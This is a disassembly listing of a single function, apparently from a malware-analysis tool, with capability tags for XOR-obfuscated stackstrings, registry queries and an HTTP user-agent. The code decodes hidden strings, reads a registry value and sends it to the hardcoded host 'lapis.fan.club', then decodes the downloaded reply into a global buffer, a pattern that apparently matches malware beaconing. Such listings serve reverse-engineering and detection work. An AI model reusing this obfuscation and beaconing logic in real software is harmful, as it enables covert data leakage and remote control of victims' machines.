Function at 0x406150
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry value
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20e4
call fcn.0040b5d0
mov eax, dword [0x40f008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1000
lea eax, [ebp - 0x1008]
mov dword [ebp - 0x20c8], 0x1000
push 0
push eax
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x40cd30]
add esp, 0xc
movups xmmword [ebp - 0x2044], xmm0
xor ecx, ecx
mov byte [ebp - 0x2024], 0
movaps xmm0, xmmword [0x40cd00]
movups xmmword [ebp - 0x2034], xmm0
nop
mov al, byte [ebp - 0x2044]
xor byte [ebp + ecx - 0x2043], al
inc ecx
cmp ecx, 0x1f
jb 0x4061b0
lea eax, [ebp - 0x20c4]
mov byte [ebp - 0x2024], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 0x20c4], 0
mov ecx, 0x20119
mov eax, 0x20019
cmovne eax, ecx
lea ecx, [ebp - 0x20cc]
push ecx
push eax
push 0
lea eax, [ebp - 0x2043]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov cl, 0xd
mov dword [ebp - 0x2018], 0x6e6c400d
mov dword [ebp - 0x2014], 0x68636465
xor eax, eax
mov dword [ebp - 0x2010], 0x6964784a
mov byte [ebp - 0x200c], 0
nop word [eax + eax]
xor byte [ebp + eax - 0x2017], cl
inc eax
cmp eax, 0xb
jae 0x406255
mov cl, byte [ebp - 0x2018]
jmp 0x406240
lea eax, [ebp - 0x20c8]
mov byte [ebp - 0x200c], 0
push eax
lea eax, [ebp - 0x1008]
push eax
push 0
push 0
lea eax, [ebp - 0x2017]
push eax
push dword [ebp - 0x20cc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
lea eax, [ebp - 0x1008]
push eax
push 0x1000
push 0x40f528
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
test esi, esi
jne 0x4065e5
xor ebx, ebx
mov dword [ebp - 0x20c0], esi
push 0x1000
lea eax, [ebp - 0x2008]
mov dword [ebp - 0x20bc], ebx
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x1008]
push eax
lea eax, [ebp - 0x2008]
push str.u_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push ebx
push ebx
push ebx
push ebx
push 0x40ca24
call dword [0x410544]
mov dword [ebp - 0x20e0], eax
test eax, eax
je 0x40642e
push ebx
push 0x1388
push str.lapis.fan.club
push eax
call dword [0x410538]
mov edi, eax
mov dword [ebp - 0x20c0], edi
test edi, edi
je 0x40642e
mov al, 0x3a
mov word [ebp - 0x2020], 0x3a
movsx dx, al
xor eax, eax
mov word [ebp - 0x201a], ax
mov al, 0xe
mov word [ebp - 0x2018], 0xe
mov ecx, edx
xor edx, 0x48
xor ecx, 0x15
mov word [ebp - 0x201c], dx
mov word [ebp - 0x201e], cx
movsx cx, al
mov eax, ecx
xor eax, 0x5e
mov word [ebp - 0x2016], ax
mov eax, ecx
xor eax, 0x41
mov word [ebp - 0x2014], ax
mov eax, ecx
xor eax, 0x5d
xor ecx, 0x5a
mov word [ebp - 0x2012], ax
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 0x200e], ax
lea eax, [ebp - 0x201e]
push eax
lea eax, [ebp - 0x2016]
mov word [ebp - 0x2010], cx
push eax
push edi
call dword [0x410548]
mov ebx, eax
mov dword [ebp - 0x20bc], ebx
test ebx, ebx
je 0x40642e
lea edx, [ebp - 0x2008]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4063c2
lea eax, [ebp - 0x20b0]
sub edx, ecx
push eax
call fcn.00406600
mov edi, 0x2f
lea ecx, [eax + 2]
mov dword [ebp - 0x20b8], ecx
mov esi, ecx
nop word [eax + eax]
movsx cx, byte [eax]
lea esi, [esi + 2]
xor word [esi - 2], cx
sub edi, 1
jne 0x4063f0
xor ecx, ecx
push ecx
push edx
push edx
mov word [eax + 0x60], cx
lea eax, [ebp - 0x2008]
push eax
push ecx
push dword [ebp - 0x20b8]
push ebx
call dword [0x41053c]
mov esi, eax
test esi, esi
je 0x40642e
push edi
push ebx
call dword [0x410550]
mov esi, eax
mov dword [ebp - 0x20b4], 0
mov dword [ebp - 0x20d0], 0
test esi, esi
je 0x4065b2
mov dword [ebp - 0x20d8], 0x19
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea eax, [ebp - 0x20b4]
push eax
push ebx
mov dword [ebp - 0x20b4], 0
call dword [0x410540]
test eax, eax
je 0x4065b2
mov eax, dword [ebp - 0x20b4]
inc eax
push eax
call fcn.0040a694
mov edi, eax
add esp, 4
mov dword [ebp - 0x20dc], edi
test edi, edi
je 0x4065a8
mov ecx, dword [ebp - 0x20b4]
test ecx, ecx
je 0x4065a8
inc ecx
push ecx
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20d0]
push eax
push dword [ebp - 0x20b4]
push edi
push ebx
call dword [0x41054c]
test eax, eax
je 0x4065b2
push 0x1000
call esi
mov ebx, edi
add esp, 4
lea ecx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x4064e1
sub ebx, ecx
test bl, 1
je 0x4064f3
xor esi, esi
jmp 0x406570
shr ebx, 1
lea eax, [ebx + 1]
push eax
call esi
add esp, 4
mov dword [ebp - 0x20b8], 0
mov esi, eax
test ebx, ebx
je 0x40656c
mov dword [ebp - 0x20d4], edi
movsx eax, byte [edi]
and eax, 0x8000001f
jns 0x406523
dec eax
or eax, 0xffffffe0
inc eax
add eax, 9
mov ecx, 0x19
cdq
idiv ecx
movsx eax, byte [edi + 1]
mov ecx, edx
shl cl, 4
and eax, 0x8000001f
jns 0x406543
dec eax
or eax, 0xffffffe0
inc eax
add eax, 9
add edi, 2
cdq
idiv dword [ebp - 0x20d8]
mov eax, dword [ebp - 0x20b8]
add cl, dl
mov byte [eax + esi], cl
inc eax
mov dword [ebp - 0x20b8], eax
cmp eax, ebx
jb 0x406514
mov edi, dword [ebp - 0x20dc]
mov byte [esi + ebx], 0
movups xmm0, xmmword [esi]
push esi
mov dword [0x40f404], 1
movups xmmword [0x410528], xmm0
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push edi
call fcn.0040a68f
add esp, 8
cmp dword [ebp - 0x20b4], 0
jbe 0x4065b2
mov ebx, dword [ebp - 0x20bc]
jmp 0x406454
mov dword [ebp - 0x20b4], 0
mov eax, dword [ebp - 0x20bc]
test eax, eax
je 0x4065c3
push eax
call dword [0x410554]
mov eax, dword [ebp - 0x20c0]
test eax, eax
je 0x4065d4
push eax
call dword [0x410554]
mov eax, dword [ebp - 0x20e0]
test eax, eax
je 0x4065e5
push eax
call dword [0x410554]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a67e
mov esp, ebp
pop ebp
ret